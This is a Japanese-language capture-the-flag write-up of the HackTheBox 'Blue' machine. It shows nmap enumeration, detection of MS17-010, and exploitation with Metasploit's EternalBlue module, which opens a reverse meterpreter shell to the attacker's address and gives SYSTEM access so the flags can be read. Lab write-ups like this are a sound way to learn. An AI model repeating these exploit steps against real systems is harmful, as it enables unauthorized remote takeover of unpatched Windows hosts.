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【HackTheBox】Blue WriteUp (metasploit使用)
はじめに
HackTheBox windows machineのblueです。EternalBlueを試したかったので復習がてらこのマシンをやります。Metasploitを使うと難易度が一気に落ちます。
Enumeration
Nmap port scanning
nmap -sC -sV blue.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 20:36 EST
Nmap scan report for blue.htb (10.129.232.51)
Host is up (0.18s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-27T01:38:17
|_ start_date: 2023-02-27T00:46:05
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-27T01:38:16+00:00
|_clock-skew: mean: 6s, deviation: 1s, median: 5s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.28 seconds
OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)とても怪しいですね。
Exploit
EternalBlue
nmapで脆弱性があるか探します。
nmap -p 445 -script vuln blue.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 21:41 EST
Nmap scan report for blue.htb (10.129.232.51)
Host is up (0.19s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap done: 1 IP address (1 host up) scanned in 27.54 seconds
ms17-010が引っ掛かりました。
Metasploit
Metasploitを起動します。
msfconsole
msfconsole
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
0番を使います。
meterpreter
接続先と自身のIPを追加し、実行します。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set Rhosts 10.129.232.51
Rhosts => 10.129.232.51
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] 10.129.232.51:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.232.51:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.232.51:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.232.51:445 - The target is vulnerable.
[*] 10.129.232.51:445 - Connecting to target for exploitation.
[+] 10.129.232.51:445 - Connection established for exploitation.
[+] 10.129.232.51:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.232.51:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.232.51:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.232.51:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.232.51:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.129.232.51:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.232.51:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.232.51:445 - Sending all but last fragment of exploit packet
[*] 10.129.232.51:445 - Starting non-paged pool grooming
[+] 10.129.232.51:445 - Sending SMBv2 buffers
[+] 10.129.232.51:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.232.51:445 - Sending final SMBv2 buffers.
[*] 10.129.232.51:445 - Sending last fragment of exploit packet!
[*] 10.129.232.51:445 - Receiving response from exploit packet
[+] 10.129.232.51:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.232.51:445 - Sending egg to corrupted connection.
[*] 10.129.232.51:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.129.232.51
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.129.232.51:49159) at 2023-02-27 00:39:20 -0500
[+] 10.129.232.51:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.232.51:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.232.51:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
meterpreterに入りました。
Shell
meterpreter > shell
Process 1776 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
shellを実行するとsystem権限があることがわかりました。
Flags
すでにsystem権限があるので両方のフラッグを取ると終わってしまいます。
C:\Users\haris\Desktop>type user.txt
type user.txt
C:\Users\Administrator\Desktop>type root.txt
type root.txt
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